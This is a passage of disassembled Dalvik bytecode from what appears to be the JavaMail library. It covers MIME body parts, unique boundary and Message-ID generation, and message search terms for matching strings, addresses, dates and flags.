0000009E  new-instance            v6, StringBuilder
000000A2  invoke-static           String->valueOf(Object)String, v5
000000A8  move-result-object      v7
000000AA  invoke-direct           StringBuilder-><init>(String)V, v6, v7
000000B0  invoke-virtual          StringBuilder->append(I)StringBuilder, v6, v2
000000B6  move-result-object      v6
000000B8  const-string            v7, "*"
000000BC  invoke-virtual          StringBuilder->append(String)StringBuilder, v6, v7
000000C2  move-result-object      v6
000000C4  invoke-virtual          StringBuilder->toString()String, v6
000000CA  move-result-object      v6
000000CC  check-cast              v0, ParameterList$Value
000000D0  iget-object             v0, v0, ParameterList$Value->encodedValue:String
000000D4  invoke-virtual          ParameterList$ToStringBuffer->addNV(String, String)V, v3, v6, v0
:DA
000000DA  add-int/lit8            v0, v2, 0x1
000000DE  move                    v2, v0
000000E0  goto                    :82
:E2
000000E2  new-instance            v6, StringBuilder
000000E6  invoke-static           String->valueOf(Object)String, v5
000000EC  move-result-object      v7
000000EE  invoke-direct           StringBuilder-><init>(String)V, v6, v7
000000F4  invoke-virtual          StringBuilder->append(I)StringBuilder, v6, v2
000000FA  move-result-object      v6
000000FC  invoke-virtual          StringBuilder->toString()String, v6
00000102  move-result-object      v6
00000104  check-cast              v0, String
00000108  invoke-virtual          ParameterList$ToStringBuffer->addNV(String, String)V, v3, v6, v0
0000010E  goto                    :DA
:110
00000110  instance-of             v2, v1, ParameterList$Value
00000114  if-eqz                  v2, :150
:118
00000118  new-instance            v2, StringBuilder
0000011C  invoke-static           String->valueOf(Object)String, v0
00000122  move-result-object      v0
00000124  invoke-direct           StringBuilder-><init>(String)V, v2, v0
0000012A  const-string            v0, "*"
0000012E  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
00000134  move-result-object      v0
00000136  invoke-virtual          StringBuilder->toString()String, v0
0000013C  move-result-object      v0
0000013E  check-cast              v1, ParameterList$Value
00000142  iget-object             v1, v1, ParameterList$Value->encodedValue:String
00000146  invoke-virtual          ParameterList$ToStringBuffer->addNV(String, String)V, v3, v0, v1
0000014C  goto/16                 :1E
:150
00000150  check-cast              v1, String
00000154  invoke-virtual          ParameterList$ToStringBuffer->addNV(String, String)V, v3, v0, v1
0000015A  goto/16                 :1E
.end method

#--------------------------------------------------------------------------------
.class public PreencodedMimeBodyPart
.super MimeBodyPart
.source ""

.field private encoding:String

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           MimeBodyPart-><init>()V, p0
00000006  iput-object             p1, p0, PreencodedMimeBodyPart->encoding:String
0000000A  return-void
.end method

.method public getEncoding()String
          .registers 2
00000000  iget-object             v0, p0, PreencodedMimeBodyPart->encoding:String
00000004  return-object           v0
.end method

.method protected updateHeaders()V
          .registers 2
00000000  invoke-super            MimeBodyPart->updateHeaders()V, p0
00000006  iget-object             v0, p0, PreencodedMimeBodyPart->encoding:String
0000000A  invoke-static           MimeBodyPart->setEncoding(MimePart, String)V, p0, v0
00000010  return-void
.end method

.method public writeTo(OutputStream)V
          .registers 5
00000000  instance-of             v0, p1, LineOutputStream
00000004  if-eqz                  v0, :40
:8
00000008  move-object             v0, p1
0000000A  check-cast              v0, LineOutputStream
0000000E  move-object             v1, v0
:10
00000010  invoke-virtual          PreencodedMimeBodyPart->getAllHeaderLines()Enumeration, p0
00000016  move-result-object      v2
:18
00000018  invoke-interface        Enumeration->hasMoreElements()Z, v2
0000001E  move-result             v0
00000020  if-nez                  v0, :4E
:24
00000024  invoke-virtual          LineOutputStream->writeln()V, v1
0000002A  invoke-virtual          PreencodedMimeBodyPart->getDataHandler()DataHandler, p0
00000030  move-result-object      v0
00000032  invoke-virtual          DataHandler->writeTo(OutputStream)V, v0, p1
00000038  invoke-virtual          OutputStream->flush()V, p1
0000003E  return-void
:40
00000040  new-instance            v0, LineOutputStream
00000044  invoke-direct           LineOutputStream-><init>(OutputStream)V, v0, p1
0000004A  move-object             v1, v0
0000004C  goto                    :10
:4E
0000004E  invoke-interface        Enumeration->nextElement()Object, v2
00000054  move-result-object      v0
00000056  check-cast              v0, String
0000005A  invoke-virtual          LineOutputStream->writeln(String)V, v1, v0
00000060  goto                    :18
.end method

#--------------------------------------------------------------------------------
.class public abstract interface SharedInputStream
.super Object
.source ""

.method public abstract getPosition()J
.end method

.method public abstract newStream(J, J)InputStream
.end method

#--------------------------------------------------------------------------------
.class UniqueValue
.super Object
.source ""

.field private static id:I

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x0
00000002  sput                    v0, UniqueValue->id:I
00000006  return-void
.end method

.method constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public static getUniqueBoundaryValue()String
          .registers 4
00000000  new-instance            v0, StringBuffer
00000004  invoke-direct           StringBuffer-><init>()V, v0
0000000A  const-string            v1, "----=_Part_"
0000000E  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
00000014  move-result-object      v1
00000016  invoke-static           UniqueValue->getUniqueId()I
0000001C  move-result             v2
0000001E  invoke-virtual          StringBuffer->append(I)StringBuffer, v1, v2
00000024  move-result-object      v1
00000026  const-string            v2, "_"
0000002A  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v2
00000030  move-result-object      v1
00000032  invoke-virtual          Object->hashCode()I, v0
00000038  move-result             v2
0000003A  invoke-virtual          StringBuffer->append(I)StringBuffer, v1, v2
00000040  move-result-object      v1
00000042  const/16                v2, 0x2E
00000046  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v2
0000004C  move-result-object      v1
0000004E  invoke-static           System->currentTimeMillis()J
00000054  move-result-wide        v2
00000056  invoke-virtual          StringBuffer->append(J)StringBuffer, v1, v2, v3
0000005C  invoke-virtual          StringBuffer->toString()String, v0
00000062  move-result-object      v0
00000064  return-object           v0
.end method

.method private static declared-synchronized getUniqueId()I
          .registers 3
00000000  const-class             v1, UniqueValue
00000004  monitor-enter           v1
:6
00000006  sget                    v0, UniqueValue->id:I
0000000A  add-int/lit8            v2, v0, 0x1
0000000E  sput                    v2, UniqueValue->id:I
:12
00000012  monitor-exit            v1
00000014  return                  v0
:16
00000016  move-exception          v0
00000018  monitor-exit            v1
0000001A  throw                   v0
          .catchall {:6 .. :12} :16
.end method

.method public static getUniqueMessageIDValue(Session)String
          .registers 7
00000000  const/16                v5, 0x2E
00000004  invoke-static           InternetAddress->getLocalAddress(Session)InternetAddress, p0
0000000A  move-result-object      v0
0000000C  if-eqz                  v0, :86
:10
00000010  invoke-virtual          InternetAddress->getAddress()String, v0
00000016  move-result-object      v0
:18
00000018  new-instance            v1, StringBuffer
0000001C  invoke-direct           StringBuffer-><init>()V, v1
00000022  invoke-virtual          Object->hashCode()I, v1
00000028  move-result             v2
0000002A  invoke-virtual          StringBuffer->append(I)StringBuffer, v1, v2
00000030  move-result-object      v2
00000032  invoke-virtual          StringBuffer->append(C)StringBuffer, v2, v5
00000038  move-result-object      v2
0000003A  invoke-static           UniqueValue->getUniqueId()I
00000040  move-result             v3
00000042  invoke-virtual          StringBuffer->append(I)StringBuffer, v2, v3
00000048  move-result-object      v2
0000004A  invoke-virtual          StringBuffer->append(C)StringBuffer, v2, v5
00000050  move-result-object      v2
00000052  invoke-static           System->currentTimeMillis()J
00000058  move-result-wide        v3
0000005A  invoke-virtual          StringBuffer->append(J)StringBuffer, v2, v3, v4
00000060  move-result-object      v2
00000062  invoke-virtual          StringBuffer->append(C)StringBuffer, v2, v5
00000068  move-result-object      v2
0000006A  const-string            v3, "JavaMail."
0000006E  invoke-virtual          StringBuffer->append(String)StringBuffer, v2, v3
00000074  move-result-object      v2
00000076  invoke-virtual          StringBuffer->append(String)StringBuffer, v2, v0
0000007C  invoke-virtual          StringBuffer->toString()String, v1
00000082  move-result-object      v0
00000084  return-object           v0
:86
00000086  const-string            v0, "javamailuser@localhost"
0000008A  goto                    :18
.end method

#--------------------------------------------------------------------------------
.class public abstract SearchTerm
.super Object
.source ""

.implements Serializable

.field private static final serialVersionUID:J = 0xA3AE133BC1B1C4ABL

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public abstract match(Message)Z
.end method

#--------------------------------------------------------------------------------
.class public abstract StringTerm
.super SearchTerm
.source ""

.field private static final serialVersionUID:J = 0x11AE4E90F062D98DL
.field protected ignoreCase:Z
.field protected pattern:String

.method protected constructor <init>(String)V
          .registers 3
00000000  invoke-direct           SearchTerm-><init>()V, p0
00000006  iput-object             p1, p0, StringTerm->pattern:String
0000000A  const/4                 v0, 0x1
0000000C  iput-boolean            v0, p0, StringTerm->ignoreCase:Z
00000010  return-void
.end method

.method protected constructor <init>(String, Z)V
          .registers 3
00000000  invoke-direct           SearchTerm-><init>()V, p0
00000006  iput-object             p1, p0, StringTerm->pattern:String
0000000A  iput-boolean            p2, p0, StringTerm->ignoreCase:Z
0000000E  return-void
.end method

.method public equals(Object)Z
          .registers 6
00000000  const/4                 v1, 0x1
00000002  const/4                 v0, 0x0
00000004  instance-of             v2, p1, StringTerm
00000008  if-nez                  v2, :E
:C
0000000C  return                  v0
:E
0000000E  check-cast              p1, StringTerm
00000012  iget-boolean            v2, p0, StringTerm->ignoreCase:Z
00000016  if-eqz                  v2, :3E
:1A
0000001A  iget-object             v2, p1, StringTerm->pattern:String
0000001E  iget-object             v3, p0, StringTerm->pattern:String
00000022  invoke-virtual          String->equalsIgnoreCase(String)Z, v2, v3
00000028  move-result             v2
0000002A  if-eqz                  v2, :C
:2E
0000002E  iget-boolean            v2, p1, StringTerm->ignoreCase:Z
00000032  iget-boolean            v3, p0, StringTerm->ignoreCase:Z
00000036  if-ne                   v2, v3, :C
:3A
0000003A  move                    v0, v1
0000003C  goto                    :C
:3E
0000003E  iget-object             v2, p1, StringTerm->pattern:String
00000042  iget-object             v3, p0, StringTerm->pattern:String
00000046  invoke-virtual          String->equals(Object)Z, v2, v3
0000004C  move-result             v2
0000004E  if-eqz                  v2, :C
:52
00000052  iget-boolean            v2, p1, StringTerm->ignoreCase:Z
00000056  iget-boolean            v3, p0, StringTerm->ignoreCase:Z
0000005A  if-ne                   v2, v3, :C
:5E
0000005E  move                    v0, v1
00000060  goto                    :C
.end method

.method public getIgnoreCase()Z
          .registers 2
00000000  iget-boolean            v0, p0, StringTerm->ignoreCase:Z
00000004  return                  v0
.end method

.method public getPattern()String
          .registers 2
00000000  iget-object             v0, p0, StringTerm->pattern:String
00000004  return-object           v0
.end method

.method public hashCode()I
          .registers 2
00000000  iget-boolean            v0, p0, StringTerm->ignoreCase:Z
00000004  if-eqz                  v0, :16
:8
00000008  iget-object             v0, p0, StringTerm->pattern:String
0000000C  invoke-virtual          String->hashCode()I, v0
00000012  move-result             v0
:14
00000014  return                  v0
:16
00000016  iget-object             v0, p0, StringTerm->pattern:String
0000001A  invoke-virtual          String->hashCode()I, v0
00000020  move-result             v0
00000022  xor-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
00000026  goto                    :14
.end method

.method protected match(String)Z
          .registers 9
00000000  const/4                 v4, 0x0
00000002  invoke-virtual          String->length()I, p1
00000008  move-result             v0
0000000A  iget-object             v1, p0, StringTerm->pattern:String
0000000E  invoke-virtual          String->length()I, v1
00000014  move-result             v1
00000016  sub-int                 v6, v0, v1
0000001A  move                    v2, v4
:1C
0000001C  if-le                   v2, v6, :22
:20
00000020  return                  v4
:22
00000022  iget-boolean            v1, p0, StringTerm->ignoreCase:Z
00000026  iget-object             v3, p0, StringTerm->pattern:String
0000002A  iget-object             v0, p0, StringTerm->pattern:String
0000002E  invoke-virtual          String->length()I, v0
00000034  move-result             v5
00000036  move-object             v0, p1
00000038  invoke-virtual/range    String->regionMatches(Z, I, String, I, I)Z, v0 .. v5
0000003E  move-result             v0
00000040  if-eqz                  v0, :48
:44
00000044  const/4                 v4, 0x1
00000046  goto                    :20
:48
00000048  add-int/lit8            v2, v2, 0x1
0000004C  goto                    :1C
.end method

#--------------------------------------------------------------------------------
.class public abstract AddressStringTerm
.super StringTerm
.source ""

.field private static final serialVersionUID:J = 0x2AD6978ECDEBB490L

.method protected constructor <init>(String)V
          .registers 3
00000000  const/4                 v0, 0x1
00000002  invoke-direct           StringTerm-><init>(String, Z)V, p0, p1, v0
00000008  return-void
.end method

.method public equals(Object)Z
          .registers 3
00000000  instance-of             v0, p1, AddressStringTerm
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return                  v0
:C
0000000C  invoke-super            StringTerm->equals(Object)Z, p0, p1
00000012  move-result             v0
00000014  goto                    :A
.end method

.method protected match(Address)Z
          .registers 3
00000000  instance-of             v0, p1, InternetAddress
00000004  if-eqz                  v0, :1E
:8
00000008  check-cast              p1, InternetAddress
0000000C  invoke-virtual          InternetAddress->toUnicodeString()String, p1
00000012  move-result-object      v0
00000014  invoke-super            StringTerm->match(String)Z, p0, v0
0000001A  move-result             v0
:1C
0000001C  return                  v0
:1E
0000001E  invoke-virtual          Address->toString()String, p1
00000024  move-result-object      v0
00000026  invoke-super            StringTerm->match(String)Z, p0, v0
0000002C  move-result             v0
0000002E  goto                    :1C
.end method

#--------------------------------------------------------------------------------
.class public abstract AddressTerm
.super SearchTerm
.source ""

.field private static final serialVersionUID:J = 0x1BD4A1B9715EBFFCL
.field protected address:Address

.method protected constructor <init>(Address)V
          .registers 2
00000000  invoke-direct           SearchTerm-><init>()V, p0
00000006  iput-object             p1, p0, AddressTerm->address:Address
0000000A  return-void
.end method

.method public equals(Object)Z
          .registers 4
00000000  instance-of             v0, p1, AddressTerm
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return                  v0
:C
0000000C  check-cast              p1, AddressTerm
00000010  iget-object             v0, p1, AddressTerm->address:Address
00000014  iget-object             v1, p0, AddressTerm->address:Address
00000018  invoke-virtual          Address->equals(Object)Z, v0, v1
0000001E  move-result             v0
00000020  goto                    :A
.end method

.method public getAddress()Address
          .registers 2
00000000  iget-object             v0, p0, AddressTerm->address:Address
00000004  return-object           v0
.end method

.method public hashCode()I
          .registers 2
00000000  iget-object             v0, p0, AddressTerm->address:Address
00000004  invoke-virtual          Object->hashCode()I, v0
0000000A  move-result             v0
0000000C  return                  v0
.end method

.method protected match(Address)Z
          .registers 3
00000000  iget-object             v0, p0, AddressTerm->address:Address
00000004  invoke-virtual          Address->equals(Object)Z, p1, v0
0000000A  move-result             v0
0000000C  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public final AndTerm
.super SearchTerm
.source ""

.field private static final serialVersionUID:J = 0xCE45A6D2860D7572L
.field protected terms:[SearchTerm

.method public constructor <init>(SearchTerm, SearchTerm)V
          .registers 5
00000000  invoke-direct           SearchTerm-><init>()V, p0
00000006  const/4                 v0, 0x2
00000008  new-array               v0, v0, [SearchTerm
0000000C  iput-object             v0, p0, AndTerm->terms:[SearchTerm
00000010  iget-object             v0, p0, AndTerm->terms:[SearchTerm
00000014  const/4                 v1, 0x0
00000016  aput-object             p1, v0, v1
0000001A  iget-object             v0, p0, AndTerm->terms:[SearchTerm
0000001E  const/4                 v1, 0x1
00000020  aput-object             p2, v0, v1
00000024  return-void
.end method

.method public constructor <init>([SearchTerm)V
          .registers 5
00000000  invoke-direct           SearchTerm-><init>()V, p0
00000006  array-length            v0, p1
00000008  new-array               v0, v0, [SearchTerm
0000000C  iput-object             v0, p0, AndTerm->terms:[SearchTerm
00000010  const/4                 v0, 0x0
:12
00000012  array-length            v1, p1
00000014  if-lt                   v0, v1, :1A
:18
00000018  return-void
:1A
0000001A  iget-object             v1, p0, AndTerm->terms:[SearchTerm
0000001E  aget-object             v2, p1, v0
00000022  aput-object             v2, v1, v0
00000026  add-int/lit8            v0, v0, 0x1
0000002A  goto                    :12
.end method

.method public equals(Object)Z
          .registers 6
00000000  const/4                 v1, 0x0
00000002  instance-of             v0, p1, AndTerm
00000006  if-nez                  v0, :C
:A
0000000A  return                  v1
:C
0000000C  check-cast              p1, AndTerm
00000010  iget-object             v0, p1, AndTerm->terms:[SearchTerm
00000014  array-length            v0, v0
00000016  iget-object             v2, p0, AndTerm->terms:[SearchTerm
0000001A  array-length            v2, v2
0000001C  if-ne                   v0, v2, :A
:20
00000020  move                    v0, v1
:22
00000022  iget-object             v2, p0, AndTerm->terms:[SearchTerm
00000026  array-length            v2, v2
00000028  if-lt                   v0, v2, :30
:2C
0000002C  const/4                 v1, 0x1
0000002E  goto                    :A
:30
00000030  iget-object             v2, p0, AndTerm->terms:[SearchTerm
00000034  aget-object             v2, v2, v0
00000038  iget-object             v3, p1, AndTerm->terms:[SearchTerm
0000003C  aget-object             v3, v3, v0
00000040  invoke-virtual          Object->equals(Object)Z, v2, v3
00000046  move-result             v2
00000048  if-eqz                  v2, :A
:4C
0000004C  add-int/lit8            v0, v0, 0x1
00000050  goto                    :22
.end method

.method public getTerms()[SearchTerm
          .registers 2
00000000  iget-object             v0, p0, AndTerm->terms:[SearchTerm
00000004  invoke-virtual          [SearchTerm->clone()Object, v0
0000000A  move-result-object      v0
0000000C  check-cast              v0, [SearchTerm
00000010  return-object           v0
.end method

.method public hashCode()I
          .registers 4
00000000  const/4                 v0, 0x0
00000002  move                    v1, v0
:4
00000004  iget-object             v2, p0, AndTerm->terms:[SearchTerm
00000008  array-length            v2, v2
0000000A  if-lt                   v0, v2, :10
:E
0000000E  return                  v1
:10
00000010  iget-object             v2, p0, AndTerm->terms:[SearchTerm
00000014  aget-object             v2, v2, v0
00000018  invoke-virtual          Object->hashCode()I, v2
0000001E  move-result             v2
00000020  add-int/2addr           v1, v2
00000022  add-int/lit8            v0, v0, 0x1
00000026  goto                    :4
.end method

.method public match(Message)Z
          .registers 5
00000000  const/4                 v1, 0x0
00000002  move                    v0, v1
:4
00000004  iget-object             v2, p0, AndTerm->terms:[SearchTerm
00000008  array-length            v2, v2
0000000A  if-lt                   v0, v2, :12
:E
0000000E  const/4                 v1, 0x1
:10
00000010  return                  v1
:12
00000012  iget-object             v2, p0, AndTerm->terms:[SearchTerm
00000016  aget-object             v2, v2, v0
0000001A  invoke-virtual          SearchTerm->match(Message)Z, v2, p1
00000020  move-result             v2
00000022  if-eqz                  v2, :10
:26
00000026  add-int/lit8            v0, v0, 0x1
0000002A  goto                    :4
.end method

#--------------------------------------------------------------------------------
.class public final BodyTerm
.super StringTerm
.source ""

.field private static final serialVersionUID:J = 0xBC27456EE3CB54E7L

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           StringTerm-><init>(String)V, p0, p1
00000006  return-void
.end method

.method private matchPart(Part)Z
          .registers 7
00000000  const/4                 v1, 0x0
:2
00000002  const-string            v0, "text/*"
00000006  invoke-interface        Part->isMimeType(String)Z, p1, v0
0000000C  move-result             v0
0000000E  if-eqz                  v0, :30
:12
00000012  invoke-interface        Part->getContent()Object, p1
00000018  move-result-object      v0
0000001A  check-cast              v0, String
0000001E  if-nez                  v0, :26
:22
00000022  move                    v0, v1
:24
00000024  return                  v0
:26
00000026  invoke-super            StringTerm->match(String)Z, p0, v0
0000002C  move-result             v0
0000002E  goto                    :24
:30
00000030  const-string            v0, "multipart/*"
00000034  invoke-interface        Part->isMimeType(String)Z, p1, v0
0000003A  move-result             v0
0000003C  if-eqz                  v0, :7C
:40
00000040  invoke-interface        Part->getContent()Object, p1
00000046  move-result-object      v0
00000048  check-cast              v0, Multipart
0000004C  invoke-virtual          Multipart->getCount()I, v0
00000052  move-result             v3
00000054  move                    v2, v1
:56
00000056  if-lt                   v2, v3, :5E
:5A
0000005A  move                    v0, v1
0000005C  goto                    :24
:5E
0000005E  invoke-virtual          Multipart->getBodyPart(I)BodyPart, v0, v2
00000064  move-result-object      v4
00000066  invoke-direct           BodyTerm->matchPart(Part)Z, p0, v4
0000006C  move-result             v4
0000006E  if-eqz                  v4, :76
:72
00000072  const/4                 v0, 0x1
00000074  goto                    :24
:76
00000076  add-int/lit8            v2, v2, 0x1
0000007A  goto                    :56
:7C
0000007C  const-string            v0, "message/rfc822"
00000080  invoke-interface        Part->isMimeType(String)Z, p1, v0
00000086  move-result             v0
00000088  if-eqz                  v0, :5A
:8C
0000008C  invoke-interface        Part->getContent()Object, p1
00000092  move-result-object      v0
00000094  check-cast              v0, Part
00000098  invoke-direct           BodyTerm->matchPart(Part)Z, p0, v0
:9E
0000009E  move-result             v0
000000A0  goto                    :24
:A2
000000A2  move-exception          v0
000000A4  goto                    :5A
          .catch Exception {:2 .. :9E} :A2
.end method

.method public equals(Object)Z
          .registers 3
00000000  instance-of             v0, p1, BodyTerm
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return                  v0
:C
0000000C  invoke-super            StringTerm->equals(Object)Z, p0, p1
00000012  move-result             v0
00000014  goto                    :A
.end method

.method public match(Message)Z
          .registers 3
00000000  invoke-direct           BodyTerm->matchPart(Part)Z, p0, p1
00000006  move-result             v0
00000008  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public abstract ComparisonTerm
.super SearchTerm
.source ""

.field public static final EQ:I = 0x3
.field public static final GE:I = 0x6
.field public static final GT:I = 0x5
.field public static final LE:I = 0x1
.field public static final LT:I = 0x2
.field public static final NE:I = 0x4
.field private static final serialVersionUID:J = 0x14370CAFCC71F144L
.field protected comparison:I

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           SearchTerm-><init>()V, p0
00000006  return-void
.end method

.method public equals(Object)Z
          .registers 5
00000000  const/4                 v0, 0x0
00000002  instance-of             v1, p1, ComparisonTerm
00000006  if-nez                  v1, :C
:A
0000000A  return                  v0
:C
0000000C  check-cast              p1, ComparisonTerm
00000010  iget                    v1, p1, ComparisonTerm->comparison:I
00000014  iget                    v2, p0, ComparisonTerm->comparison:I
00000018  if-ne                   v1, v2, :A
:1C
0000001C  const/4                 v0, 0x1
0000001E  goto                    :A
.end method

.method public hashCode()I
          .registers 2
00000000  iget                    v0, p0, ComparisonTerm->comparison:I
00000004  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public abstract DateTerm
.super ComparisonTerm
.source ""

.field private static final serialVersionUID:J = 0x42E013DA6884266BL
.field protected date:Date

.method protected constructor <init>(I, Date)V
          .registers 3
00000000  invoke-direct           ComparisonTerm-><init>()V, p0
00000006  iput                    p1, p0, DateTerm->comparison:I
0000000A  iput-object             p2, p0, DateTerm->date:Date
0000000E  return-void
.end method

.method public equals(Object)Z
          .registers 5
00000000  const/4                 v1, 0x0
00000002  instance-of             v0, p1, DateTerm
00000006  if-nez                  v0, :E
:A
0000000A  move                    v0, v1
:C
0000000C  return                  v0
:E
0000000E  move-object             v0, p1
00000010  check-cast              v0, DateTerm
00000014  iget-object             v0, v0, DateTerm->date:Date
00000018  iget-object             v2, p0, DateTerm->date:Date
0000001C  invoke-virtual          Date->equals(Object)Z, v0, v2
00000022  move-result             v0
00000024  if-eqz                  v0, :38
:28
00000028  invoke-super            ComparisonTerm->equals(Object)Z, p0, p1
0000002E  move-result             v0
00000030  if-eqz                  v0, :38
:34
00000034  const/4                 v0, 0x1
00000036  goto                    :C
:38
00000038  move                    v0, v1
0000003A  goto                    :C
.end method

.method public getComparison()I
          .registers 2
00000000  iget                    v0, p0, DateTerm->comparison:I
00000004  return                  v0
.end method

.method public getDate()Date
          .registers 4
00000000  new-instance            v0, Date
00000004  iget-object             v1, p0, DateTerm->date:Date
00000008  invoke-virtual          Date->getTime()J, v1
0000000E  move-result-wide        v1
00000010  invoke-direct           Date-><init>(J)V, v0, v1, v2
00000016  return-object           v0
.end method

.method public hashCode()I
          .registers 3
00000000  iget-object             v0, p0, DateTerm->date:Date
00000004  invoke-virtual          Date->hashCode()I, v0
0000000A  move-result             v0
0000000C  invoke-super            ComparisonTerm->hashCode()I, p0
00000012  move-result             v1
00000014  add-int/2addr           v0, v1
00000016  return                  v0
.end method

.method protected match(Date)Z
          .registers 5
00000000  const/4                 v1, 0x1
00000002  const/4                 v0, 0x0
00000004  iget                    v2, p0, DateTerm->comparison:I
00000008  packed-switch           v2, :98
:E
0000000E  return                  v0
:10
00000010  iget-object             v2, p0, DateTerm->date:Date
00000014  invoke-virtual          Date->before(Date)Z, p1, v2
0000001A  move-result             v2
0000001C  if-nez                  v2, :30
:20
00000020  iget-object             v2, p0, DateTerm->date:Date
00000024  invoke-virtual          Date->equals(Object)Z, p1, v2
0000002A  move-result             v2
0000002C  if-eqz                  v2, :E
:30
00000030  move                    v0, v1
00000032  goto                    :E
:34
00000034  iget-object             v0, p0, DateTerm->date:Date
00000038  invoke-virtual          Date->before(Date)Z, p1, v0
0000003E  move-result             v0
00000040  goto                    :E
:42
00000042  iget-object             v0, p0, DateTerm->date:Date
00000046  invoke-virtual          Date->equals(Object)Z, p1, v0
0000004C  move-result             v0
0000004E  goto                    :E
:50
00000050  iget-object             v2, p0, DateTerm->date:Date
00000054  invoke-virtual          Date->equals(Object)Z, p1, v2
0000005A  move-result             v2
0000005C  if-nez                  v2, :E
:60
00000060  move                    v0, v1
00000062  goto                    :E
:64
00000064  iget-object             v0, p0, DateTerm->date:Date
00000068  invoke-virtual          Date->after(Date)Z, p1, v0
0000006E  move-result             v0
00000070  goto                    :E
:72
00000072  iget-object             v2, p0, DateTerm->date:Date
00000076  invoke-virtual          Date->after(Date)Z, p1, v2
0000007C  move-result             v2
0000007E  if-nez                  v2, :92
:82
00000082  iget-object             v2, p0, DateTerm->date:Date
00000086  invoke-virtual          Date->equals(Object)Z, p1, v2
0000008C  move-result             v2
0000008E  if-eqz                  v2, :E
:92
00000092  move                    v0, v1
00000094  goto                    :E
00000098  .packed-switch 0x1
              :10
              :34
              :42
              :50
              :64
              :72
          .end packed-switch
.end method

#--------------------------------------------------------------------------------
.class public final FlagTerm
.super SearchTerm
.source ""

.field private static final serialVersionUID:J = 0xFE03FDFCF298E8C9L
.field protected flags:Flags
.field protected set:Z

.method public constructor <init>(Flags, Z)V
          .registers 3
00000000  invoke-direct           SearchTerm-><init>()V, p0
00000006  iput-object             p1, p0, FlagTerm->flags:Flags
0000000A  iput-boolean            p2, p0, FlagTerm->set:Z
0000000E  return-void
.end method

.method public equals(Object)Z
          .registers 5
00000000  const/4                 v0, 0x0
00000002  instance-of             v1, p1, FlagTerm
00000006  if-nez                  v1, :C
:A
0000000A  return                  v0
:C
0000000C  check-cast              p1, FlagTerm
00000010  iget-boolean            v1, p1, FlagTerm->set:Z
00000014  iget-boolean            v2, p0, FlagTerm->set:Z
00000018  if-ne                   v1, v2, :A
:1C
0000001C  iget-object             v1, p1, FlagTerm->flags:Flags
00000020  iget-object             v2, p0, FlagTerm->flags:Flags
00000024  invoke-virtual          Flags->equals(Object)Z, v1, v2
0000002A  move-result             v1
0000002C  if-eqz                  v1, :A
:30
00000030  const/4                 v0, 0x1
00000032  goto                    :A
.end method

.method public getFlags()Flags
          .registers 2
00000000  iget-object             v0, p0, FlagTerm->flags:Flags
00000004  invoke-virtual          Flags->clone()Object, v0
0000000A  move-result-object      v0
0000000C  check-cast              v0, Flags
00000010  return-object           v0
.end method

.method public getTestSet()Z
          .registers 2
00000000  iget-boolean            v0, p0, FlagTerm->set:Z
00000004  return                  v0
.end method

.method public hashCode()I
          .registers 2
00000000  iget-boolean            v0, p0, FlagTerm->set:Z
00000004  if-eqz                  v0, :16
:8
00000008  iget-object             v0, p0, FlagTerm->flags:Flags
0000000C  invoke-virtual          Flags->hashCode()I, v0
00000012  move-result             v0
:14
00000014  return                  v0
:16
00000016  iget-object             v0, p0, FlagTerm->flags:Flags
0000001A  invoke-virtual          Flags->hashCode()I, v0
00000020  move-result             v0
00000022  xor-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
00000026  goto                    :14
.end method

.method public match(Message)Z
          .registers 8
00000000  const/4                 v0, 0x1
00000002  const/4                 v1, 0x0
:4
00000004  invoke-virtual          Message->getFlags()Flags, p1
0000000A  move-result-object      v3
0000000C  iget-boolean            v2, p0, FlagTerm->set:Z
00000010  if-eqz                  v2, :2A
:14
00000014  iget-object             v2, p0, FlagTerm->flags:Flags
00000018  invoke-virtual          Flags->contains(Flags)Z, v3, v2
0000001E  move-result             v2
00000020  if-eqz                  v2, :26
:24
00000024  return                  v0
:26
00000026  move                    v0, v1
00000028  goto                    :24
:2A
0000002A  iget-object             v2, p0, FlagTerm->flags:Flags
0000002E  invoke-virtual          Flags->getSystemFlags()[Flags$Flag, v2
00000034  move-result-object      v4
00000036  move                    v2, v1
:38
00000038  array-length            v5, v4
0000003A  if-lt                   v2, v5, :66
:3E
0000003E  iget-object             v2, p0, FlagTerm->flags:Flags
00000042  invoke-virtual          Flags->getUserFlags()[String, v2
00000048  move-result-object      v4
0000004A  move                    v2, v1
:4C
0000004C  array-length            v5, v4
0000004E  if-ge                   v2, v5, :24
:52
00000052  aget-object             v5, v4, v2
00000056  invoke-virtual          Flags->contains(String)Z, v3, v5
0000005C  move-result             v5
0000005E  if-eqz                  v5, :80
:62
00000062  move                    v0, v1
00000064  goto                    :24
:66
00000066  aget-object             v5, v4, v2
0000006A  invoke-virtual          Flags->contains(Flags$Flag)Z, v3, v5
:70
00000070  move-result             v5
00000072  if-eqz                  v5, :7A
:76
00000076  move                    v0, v1
00000078  goto                    :24
:7A
0000007A  add-int/lit8            v2, v2, 0x1
0000007E  goto                    :38
:80
00000080  add-int/lit8            v2, v2, 0x1
00000084  goto                    :4C
:86
00000086  move-exception          v0
00000088  move                    v0, v1
0000008A  goto                    :24
          .catch Exception {:4 .. :70} :86
.end method

#--------------------------------------------------------------------------------
.class public final FromStringTerm
.super AddressStringTerm
.source ""

.field private static final serialVersionUID:J = 0x5081BEBF4A6FAB34L

.method public constructor <init>(String)V
          .registers 2
00000000  invoke-direct           AddressStringTerm-><init>(String)V, p0, p1
00000006  return-void
.end method

.method public equals(Object)Z
          .registers 3
